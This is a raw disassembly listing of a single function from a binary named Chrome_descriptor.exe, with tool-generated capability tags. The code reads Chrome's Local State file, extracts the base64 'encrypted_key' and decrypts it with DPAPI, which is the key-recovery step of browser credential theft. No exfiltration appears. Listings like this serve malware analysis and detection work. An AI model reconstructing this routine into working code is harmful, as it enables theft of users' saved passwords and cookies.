Function at 0x1400e9be0
Capabilities:
Decode data using base64 via winapi
Encrypt data using dpapi
Get common file path
Get file size
Read file on windows
Terminate process

Disassembly:
push r15
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor r15d, r15d
lea r9, [rsp + 0x48]
xor r8d, r8d
mov qword [rsp + 0x48], r15
xor edx, edx
lea rcx, [0x1400ec670]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x1400e9f25
mov r9, qword [rsp + 0x48]
lea r8, str._lsGoogleChromeUser_DataLocal_State
mov qword [rsp + 0x2a8], rbp
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x2a0], rbx
mov edx, 0x104
mov qword [rsp + 0x2b0], rsi
mov qword [rsp + 0x288], rdi
call fcn.140006250
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rsp + 0x30], r15
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x1400e9f1c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp eax, 0xffffffff
je 0x1400e9f0a
mov ecx, eax
mov rdi, 0xffffffffffffffff
add ecx, 1
cmovb rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x1400e9f0a
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], r15
mov r8d, ebx
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [rsp + 0x44]
mov ebx, eax
mov byte [rcx + rsi], r15b
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1400e9ef8
mov rdx, rdi
nop
inc rdx
cmp byte [rsi + rdx], r15b
jne 0x1400e9d10
inc rdx
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call sym.Chrome_descriptor.exe_cJSON_ParseWithLengthOpts
mov rbx, rax
test rax, rax
je 0x1400e9ef8
xor r8d, r8d
lea rdx, str.os_crypt
mov rcx, rax
call fcn.140003350
xor r8d, r8d
lea rdx, str.encrypted_key
mov rcx, rax
call fcn.140003350
mov rbp, rax
test rax, rax
je 0x1400e9f1c
mov rdx, qword [rax + 0x20]
mov rcx, rdi
mov qword [rsp + 0x280], r14
inc rcx
cmp byte [rdx + rcx], r15b
jne 0x1400e9d75
add rcx, 1
cmovb rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, qword [rbp + 0x20]
mov r14, rax
cmp byte [r8 + rdi + 1], r15b
lea rdi, [rdi + 1]
jne 0x1400e9d93
lea rdx, [rdi + 1]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
nop dword [rax + rax]
test dword [rbx + 0x18], 0x100
mov rdi, qword [rbx]
jne 0x1400e9de6
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400e9dca
call sym.Chrome_descriptor.exe_cJSON_Delete
test dword [rbx + 0x18], 0x100
jne 0x1400e9de6
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1400e9de6
call qword [0x14010b410]
mov qword [rbx + 0x20], r15
test dword [rbx + 0x18], 0x200
jne 0x1400e9e02
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400e9e02
call qword [0x14010b410]
mov qword [rbx + 0x38], r15
mov rcx, rbx
call qword [0x14010b410]
mov rbx, rdi
test rdi, rdi
jne 0x1400e9db0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r14
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x30], r15
xor edx, edx
mov rbx, rax
mov qword [rsp + 0x28], r15
lea rax, [rsp + 0x40]
mov r9, rbx
mov r8d, 1
mov qword [rsp + 0x20], rax
mov rcx, r14
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
lea rax, [rbx + 5]
xor r9d, r9d
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x50]
mov eax, dword [rsp + 0x40]
xor r8d, r8d
add eax, 0xfffffffb
xor edx, edx
mov dword [rsp + 0x50], eax
lea rax, [0x14010f880]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov r14, qword [rsp + 0x280]
mov rsi, qword [rsp + 0x2b0]
mov rbx, qword [rsp + 0x2a0]
mov rdi, qword [rsp + 0x288]
mov rbp, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400ea480
add rsp, 0x290
pop r15
ret
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3